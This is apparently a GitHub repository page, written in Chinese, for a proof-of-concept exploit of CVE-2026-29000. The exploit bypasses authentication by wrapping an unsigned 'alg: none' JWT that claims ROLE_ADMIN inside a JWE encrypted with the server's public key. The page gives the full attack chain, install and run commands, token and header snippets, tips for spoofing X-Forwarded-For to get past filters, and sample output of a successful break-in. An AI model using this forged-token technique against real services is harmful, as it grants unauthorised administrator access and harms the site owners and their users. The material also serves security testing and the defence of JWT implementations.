zF-tm/CVE-2026-29000

GitHub: zF-tm/CVE-2026-29000

针对CVE-2026-29000的概念验证脚本,利用JWE嵌套未签名JWT的方式绕过服务端身份验证。

Stars: 0 | Forks: 1

# JWT/JWE 身份验证绕过 PoC 这是一个概念验证脚本,演示了使用 JSON Web Token (JWT) 和 JSON Web Encryption (JWE) 进行身份验证绕过漏洞。该工具利用了不当验证 token 算法的环境,通过接受封装在有效 JWE 结构中未经签名验证的 JWT(`alg: none`)。 ## 工作原理 此漏洞利用链利用了一个常见的加密实现缺陷: 1. **密钥提取:** 脚本连接到目标公开暴露的 `jwks` (JSON Web Key Set) 端点,并下载服务器的公共 RSA 密钥。 2. **Token 伪造:** 它伪造一个授予 `ROLE_ADMIN` 权限的、未经签名验证的 JWT payload。它故意将算法头设置为 `"alg": "none"`。 3. **JWE 封装:** 为了绕过可能会拒绝明文或未验证 token 的初始安全过滤器,它使用服务器自己的公钥加密伪造的 JWT,将其打包成有效的 JWE。 4. **身份验证:** 伪造的 JWE 通过 `Authorization: Bearer` 头部发送到目标的受保护仪表板。如果服务器解密 JWE 并盲目信任内部的 JWT 而不验证其签名,访问将被授权。 ## 前置条件 在运行脚本之前,请确保已安装 Python 3 以及必要的依赖项。 ``` pip install requests jwcrypto ``` ## 使用方法 该脚本需要两个参数:你要测试的目标仪表板 URL,以及托管公钥的 URL。 ``` python3 exploit.py ``` ## 自定义漏洞利用 根据你的目标,你可能需要调整 token 结构或 HTTP 请求以绕过特定的过滤器。 1. 自定义内部 JWT 头部与 Payload 如果目标服务器期望 JWT 内部有特定字段(例如 `typ` 头或 payload 中的自定义用户 ID),你可以轻松添加它们。 打开 `exploit.py` 并找到以下部分: ``` token_header_information = { "alg": "none" } ``` ``` token_user_information = { "sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform", "iat": current_time_in_seconds, "exp": expiration_time_in_seconds } ``` 你可以添加任何你想要的字段,用逗号分隔。例如,要在 JWT 头部添加 `typ` (Type) 和 `kid` (Key ID),并在 payload 中添加自定义电子邮件: ``` token_header_information = { "alg": "none", "typ": "JWT", "kid": "my-custom-key-id" } ``` ``` token_user_information = { "sub": "admin", "email": "admin@target-site.com", "role": "ROLE_ADMIN", "iss": "principal-platform", "iat": current_time_in_seconds, "exp": expiration_time_in_seconds } ``` 2. 自定义 HTTP 头部 如果你的目标需要特定的网络头部(例如自定义 `User-Agent`、绕过头部如 `X-Forwarded-For` 或 API 密钥),请找到脚本底部的网络请求: ``` custom_authorization_header = { "Authorization": "Bearer " + final_forged_token } ``` 像这样添加你额外的网络头部: ``` custom_authorization_header = { "Authorization": "Bearer " + final_forged_token, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "X-Forwarded-For": "127.0.0.1", "Accept": "application/json" } ``` 注意:如果你在初始下载公钥时也需要发送这些头部,可以将这个相同的字典传递给脚本顶部的 `requests.get()` 调用。 ## 预期输出 成功后,脚本将输出伪造的 token 和来自受限端点的解析响应,从而证明绕过成功: ``` Starting process... Connecting to download public keys from: https://target-site.com/api/auth/jwks Success! Downloaded the key with ID: 12345-abcde Creating a fake administrator identity card... Encrypting our fake identity using the server's public key... Successfully created the encrypted master token! Here is your forged token: eyJhbGciOiJSU0EtT0FFUC... Attempting to break into the dashboard... Sending our forged token to: https://target-site.com/api/dashboard SUCCESS! We bypassed the security. The server thinks we are: Username: admin Account Type: ROLE_ADMIN ``` ## 故障排除 - HTTP 401/403 错误:目标服务器正在正确验证签名并拒绝 `alg: none` payload。漏洞利用失败,因为目标是安全的。 - 连接错误:确保提供的 URL 包含完整的协议方案(`http://` 或 `https://`),并且目标服务器当前可以访问。 - 依赖项错误:确保通过 `pip` 正确安装了 `jwcrypto`。
标签:alg:none, CISA项目, CVE-2026-29000, jwcrypto, JWE, JWKS, JWT, PoC, Python, ROLE_ADMIN, Web安全, 代码生成, 令牌伪造, 公钥提取, 授权绕过, 数据展示, 无后门, 暴力破解, 渗透测试工具, 特权提升, 算法篡改, 红队, 网络安全, 自动化部署, 蓝队分析, 认证绕过, 越权访问, 身份伪造, 逆向工具, 隐私保护, 零日漏洞